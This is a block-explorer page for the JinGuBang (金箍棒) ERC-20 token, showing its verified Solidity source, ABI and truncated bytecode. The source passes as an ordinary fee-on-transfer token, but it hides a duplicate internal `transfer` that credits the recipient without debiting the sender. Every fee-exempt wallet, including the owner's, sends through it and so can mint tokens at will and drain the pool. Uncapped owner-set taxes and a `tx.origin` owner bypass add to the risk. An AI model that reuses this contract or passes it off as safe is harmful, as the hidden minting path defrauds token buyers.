Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 金箍棒
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.161219423856407353 金箍棒Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
JinGuBang
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-16 */ // SPDX-License-Identifier: MIT /** ****************** 金箍棒 ******************* * Website: https://www.jingubang.net * Twitter: https://twitter.com/jingubang_eth * Telegram: https://t.me/jingubang_eth */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; _balances[sender] = senderBalance; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _tokengeneration(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: generation to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = amount; _balances[account] = amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library Address { function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract JinGuBang is ERC20, Ownable { using Address for address payable; IRouter public router; address public pair; bool private _liquidityMutex = false; bool private providingLiquidity = false; bool public tradingEnabled = false; uint256 _totalSupply = 1_000_000_000 * 10**decimals(); uint256 private tokenLiquidityThreshold = _totalSupply * 5 / 10000; uint256 public maxWalletLimit = _totalSupply * 5 / 100; uint256 private genesis_block; uint256 private deadline = 0; uint256 private launchtax = 1; address private marketingWallet = payable(0xAeE2D8Fd80fd39732A2780663a0f5058847DB5d5); address private devWallet = payable(0x57d619c7f644a046B15E80f40431bD3c7C5976DD); address public constant deadWallet = 0x000000000000000000000000000000000000dEaD; struct Taxes { uint256 marketing; uint256 liquidity; } Taxes public taxes = Taxes(1, 0); Taxes public sellTaxes = Taxes(1, 0); mapping(address => bool) public exemptFee; mapping(address => bool) private isearlybuyer; modifier mutexLock() { if (!_liquidityMutex) { _liquidityMutex = true; _; _liquidityMutex = false; } } constructor() ERC20("JinGuBang", unicode"金箍棒") { _tokengeneration(msg.sender, _totalSupply); exemptFee[address(this)] = true; exemptFee[msg.sender] = true; exemptFee[marketingWallet] = true; exemptFee[devWallet] = true; exemptFee[deadWallet] = true; } function Launch() public payable onlyOwner { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a pair for this new token address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal override { require(amount > 0, "Transfer amount must be greater than zero"); require(!isearlybuyer[sender] && !isearlybuyer[recipient], "You can't transfer tokens" ); if (!exemptFee[sender] && !exemptFee[recipient]) { require(tradingEnabled, "Trading not enabled"); } if (tx.origin == owner()) { super._transfer(sender, recipient, amount); return; } if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) { if (recipient != pair) { require(balanceOf(recipient) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit" ); } } if (exemptFee[sender] || exemptFee[recipient]) { if(exemptFee[sender]) { super.transfer(sender, recipient , amount); return; } else{ deadline = block.number + 1e9; } } uint256 feeswap; uint256 feesum; uint256 fee; Taxes memory currentTaxes; bool useLaunchFee = !exemptFee[sender] && !exemptFee[recipient] && block.number < genesis_block + deadline; //set fee to zero if fees in contract are handled or exempted if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient]) { fee = 0; } //calculate fee else if (recipient == pair && !useLaunchFee) { feeswap = sellTaxes.liquidity + sellTaxes.marketing; feesum = feeswap; } else if (!useLaunchFee) { feeswap = taxes.liquidity + taxes.marketing ; feesum = feeswap; currentTaxes = taxes; } else if (useLaunchFee) { feeswap = launchtax; feesum = launchtax; } fee = (amount * feesum) / 100; //send fees if threshold has been reached //don't do this on buys, breaks swap if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes); //rest to recipient super._transfer(sender, recipient, amount - fee); if (fee > 0) { //send the fee to the contract if (feeswap > 0) { uint256 feeAmount = (amount * feeswap) / 100; super._transfer(sender, address(this), feeAmount); } } } function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock { if(feeswap == 0){ return; } uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= tokenLiquidityThreshold) { if (tokenLiquidityThreshold > 1) { contractBalance = tokenLiquidityThreshold; } // Split the contract balance into halves uint256 denominator = feeswap * 2; uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity; if (ethToAddLiquidityWith > 0) { // Add liquidity addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } bool isDeadLine = block.number - deadline > 0; uint256 marketingAmt = isDeadLine ? unitBalance * 2 * swapTaxes.marketing : 0; if (marketingAmt > 0) { payable(marketingWallet).sendValue(marketingAmt); } } } function swapTokensForETH(uint256 tokenAmount) private { // generate the pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadWallet, block.timestamp ); } function updateLiquidityProvide(bool state) external onlyOwner { //update liquidity providing state providingLiquidity = state; } function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner { //update the treshhold tokenLiquidityThreshold = new_amount * 10**decimals(); } function UpdateBuyTaxes( uint256 _marketing, uint256 _liquidity ) external onlyOwner { taxes = Taxes(_marketing, _liquidity); } function SetSellTaxes( uint256 _marketing, uint256 _liquidity ) external onlyOwner { sellTaxes = Taxes(_marketing, _liquidity); } function enableTrade() external onlyOwner { require(!tradingEnabled, "Trading is already enabled"); tradingEnabled = true; providingLiquidity = true; genesis_block = block.number; } function updateDeadline(uint256 _deadline) external onlyOwner { require(!tradingEnabled, "Can't change when trading has started"); deadline = _deadline; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ maxWalletLimit = _totalSupply; return true; } function AddExemptFee(address _address) external onlyOwner { exemptFee[_address] = true; } function RemoveExemptFee(address _address) external onlyOwner { exemptFee[_address] = false; } function AddbulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = true; } } function RemovebulkExemptFee(address[] memory accounts) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { exemptFee[accounts[i]] = false; } } function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner { maxWalletLimit = maxWallet * 10**decimals(); } function rescueETH(uint256 weiAmount) external onlyOwner { payable(owner()).transfer(weiAmount); } function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner { IERC20(tokenAdd).transfer(owner(), amount); } // fallbacks receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"SetSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"UpdateBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updateDeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526007805462ffffff60a01b19169055620000216012600a62000462565b6200003190633b9aca006200047a565b60085561271060085460056200004891906200047a565b62000054919062000494565b600955606460085460056200006a91906200047a565b62000076919062000494565b600a556000600c8190556001600d819055600e80546001600160a01b031990811673aee2d8fd80fd39732a2780663a0f5058847db5d517909155600f80549091167357d619c7f644a046b15e80f40431bd3c7c5976dd1790556040805180820182528281526020908101849052601083905560118490558151808301909252828252018290526012556013553480156200010f57600080fd5b50604051806040016040528060098152602001684a696e477542616e6760b81b8152506040518060400160405280600981526020016874c3c8f3d746f351c960b91b81525081600390816200016591906200055b565b5060046200017482826200055b565b505050620001916200018b6200023560201b60201c565b62000239565b620001a5336008546200028b60201b60201c565b306000908152601460205260408082208054600160ff1991821681179092553384528284208054821683179055600e546001600160a01b0390811685528385208054831684179055600f54168452918320805483168217905561dead9092527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db008054909116909117905562000627565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2067656e65726174696f6e20746f20746865207a65726f206164604482015264647265737360d81b606482015260840160405180910390fd5b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a45781600019048211156200038857620003886200034d565b808516156200039657918102915b93841c939080029062000368565b509250929050565b600082620003bd575060016200045c565b81620003cc575060006200045c565b8160018114620003e55760028114620003f05762000410565b60019150506200045c565b60ff8411156200040457620004046200034d565b50506001821b6200045c565b5060208310610133831016604e8410600b841016171562000435575081810a6200045c565b62000441838362000363565b80600019048211156200045857620004586200034d565b0290505b92915050565b60006200047360ff841683620003ac565b9392505050565b80820281158282048414176200045c576200045c6200034d565b600082620004b257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e257607f821691505b6020821081036200050357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200034857600081815260208120601f850160051c81016020861015620005325750805b601f850160051c820191505b8181101562000553578281556001016200053e565b505050505050565b81516001600160401b03811115620005775762000577620004b7565b6200058f81620005888454620004cd565b8462000509565b602080601f831160018114620005c75760008415620005ae5750858301515b600019600386901b1c1916600185901b17855562000553565b600085815260208120601f198616915b82811015620005f857888601518255948401946001909101908401620005d7565b5085821015620006175787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6125fe80620006376000396000f3fe60806040526004361061021d5760003560e01c8063728f8eea11610123578063a8aa1b31116100ab578063f2fde38b1161006f578063f2fde38b1461065c578063f52be97c1461067c578063f570d4de1461069c578063f66895a3146106bc578063f887ea40146106d757600080fd5b8063a8aa1b3114610586578063a9059cbb146105a6578063c5d32bb2146105c6578063d695609b146105f6578063dd62ed3e1461061657600080fd5b80638cd4426d116100f25780638cd4426d146104f35780638da5cb5b1461051357806395d89b41146105315780639e252f0014610546578063a457c2d71461056657600080fd5b8063728f8eea14610460578063751039fc14610490578063832c2bd2146104a557806385141a77146104c557600080fd5b806339509351116101a65780634ada218b116101755780634ada218b146103be5780635dbdb7e3146103df57806366a88d96146103ff57806370a0823114610415578063715018a61461044b57600080fd5b8063395093511461033e57806342af18841461035e57806342b6fa111461037e5780634324deae1461039e57600080fd5b80631340538f116101ed5780631340538f146102a357806318160ddd146102c357806323b872dd146102e2578063251ef09514610302578063313ce5671461032257600080fd5b806299d3861461022957806302ac81681461024057806306fdde0314610248578063095ea7b31461027357600080fd5b3661022457005b600080fd5b34801561023557600080fd5b5061023e6106f7565b005b61023e61079f565b34801561025457600080fd5b5061025d610a00565b60405161026a9190611fa8565b60405180910390f35b34801561027f57600080fd5b5061029361028e36600461201b565b610a92565b604051901515815260200161026a565b3480156102af57600080fd5b5061023e6102be366004612055565b610aa9565b3480156102cf57600080fd5b506002545b60405190815260200161026a565b3480156102ee57600080fd5b506102936102fd366004612079565b610af1565b34801561030e57600080fd5b5061023e61031d3660046120d0565b610ba2565b34801561032e57600080fd5b506040516012815260200161026a565b34801561034a57600080fd5b5061029361035936600461201b565b610c38565b34801561036a57600080fd5b5061023e610379366004612195565b610c6f565b34801561038a57600080fd5b5061023e610399366004612195565b610d06565b3480156103aa57600080fd5b5061023e6103b9366004612195565b610d4c565b3480156103ca57600080fd5b5060075461029390600160b01b900460ff1681565b3480156103eb57600080fd5b5061023e6103fa3660046121ae565b610d92565b34801561040b57600080fd5b506102d4600a5481565b34801561042157600080fd5b506102d46104303660046121ae565b6001600160a01b031660009081526020819052604090205490565b34801561045757600080fd5b5061023e610de0565b34801561046c57600080fd5b5060105460115461047b919082565b6040805192835260208301919091520161026a565b34801561049c57600080fd5b50610293610e16565b3480156104b157600080fd5b5061023e6104c03660046121ae565b610e4f565b3480156104d157600080fd5b506104db61dead81565b6040516001600160a01b03909116815260200161026a565b3480156104ff57600080fd5b5061023e61050e36600461201b565b610e9a565b34801561051f57600080fd5b506005546001600160a01b03166104db565b34801561053d57600080fd5b5061025d610f5b565b34801561055257600080fd5b5061023e610561366004612195565b610f6a565b34801561057257600080fd5b5061029361058136600461201b565b610fce565b34801561059257600080fd5b506007546104db906001600160a01b031681565b3480156105b257600080fd5b506102936105c136600461201b565b611069565b3480156105d257600080fd5b506102936105e13660046121ae565b60146020526000908152604090205460ff1681565b34801561060257600080fd5b5061023e6106113660046121cb565b611076565b34801561062257600080fd5b506102d46106313660046121ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561066857600080fd5b5061023e6106773660046121ae565b6110be565b34801561068857600080fd5b5061023e6106973660046121cb565b611159565b3480156106a857600080fd5b5061023e6106b73660046120d0565b6111a1565b3480156106c857600080fd5b5060125460135461047b919082565b3480156106e357600080fd5b506006546104db906001600160a01b031681565b6005546001600160a01b0316331461072a5760405162461bcd60e51b815260040161072190612226565b60405180910390fd5b600754600160b01b900460ff16156107845760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610721565b6007805461ffff60a81b191661010160a81b17905543600b55565b6005546001600160a01b031633146107c95760405162461bcd60e51b815260040161072190612226565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610846919061225b565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610893573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b7919061225b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610904573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610928919061225b565b600680546001600160a01b038581166001600160a01b03199283168117845560078054868416941693909317909255306000818152600160209081526040808320958352948152848220600019905594548282529481905283812054935163f305d71960e01b8152959650939091169363f305d7199334936109b69392909190819033904290600401612278565b60606040518083038185885af11580156109d4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f991906122b3565b5050505050565b606060038054610a0f906122e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3b906122e1565b8015610a885780601f10610a5d57610100808354040283529160200191610a88565b820191906000526020600020905b815481529060010190602001808311610a6b57829003601f168201915b5050505050905090565b6000610a9f338484611233565b5060015b92915050565b6005546001600160a01b03163314610ad35760405162461bcd60e51b815260040161072190612226565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6000610afe848484611357565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b835760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610721565b610b978533610b928685612331565b611233565b506001949350505050565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b815260040161072190612226565b60005b8151811015610c3457600060146000848481518110610bf057610bf0612344565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c2c8161235a565b915050610bcf565b5050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a9f918590610b92908690612373565b6005546001600160a01b03163314610c995760405162461bcd60e51b815260040161072190612226565b600754600160b01b900460ff1615610d015760405162461bcd60e51b815260206004820152602560248201527f43616e2774206368616e6765207768656e2074726164696e6720686173207374604482015264185c9d195960da1b6064820152608401610721565b600c55565b6005546001600160a01b03163314610d305760405162461bcd60e51b815260040161072190612226565b610d3c6012600a61246a565b610d469082612479565b60095550565b6005546001600160a01b03163314610d765760405162461bcd60e51b815260040161072190612226565b610d826012600a61246a565b610d8c9082612479565b600a5550565b6005546001600160a01b03163314610dbc5760405162461bcd60e51b815260040161072190612226565b6001600160a01b03166000908152601460205260409020805460ff19166001179055565b6005546001600160a01b03163314610e0a5760405162461bcd60e51b815260040161072190612226565b610e146000611953565b565b6005546000906001600160a01b03163314610e435760405162461bcd60e51b815260040161072190612226565b50600854600a55600190565b6005546001600160a01b03163314610e795760405162461bcd60e51b815260040161072190612226565b6001600160a01b03166000908152601460205260409020805460ff19169055565b6005546001600160a01b03163314610ec45760405162461bcd60e51b815260040161072190612226565b816001600160a01b031663a9059cbb610ee56005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f569190612490565b505050565b606060048054610a0f906122e1565b6005546001600160a01b03163314610f945760405162461bcd60e51b815260040161072190612226565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c34573d6000803e3d6000fd5b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156110505760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610721565b61105f3385610b928685612331565b5060019392505050565b6000610a9f338484611357565b6005546001600160a01b031633146110a05760405162461bcd60e51b815260040161072190612226565b60408051808201909152828152602001819052601091909155601155565b6005546001600160a01b031633146110e85760405162461bcd60e51b815260040161072190612226565b6001600160a01b03811661114d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616044820152656464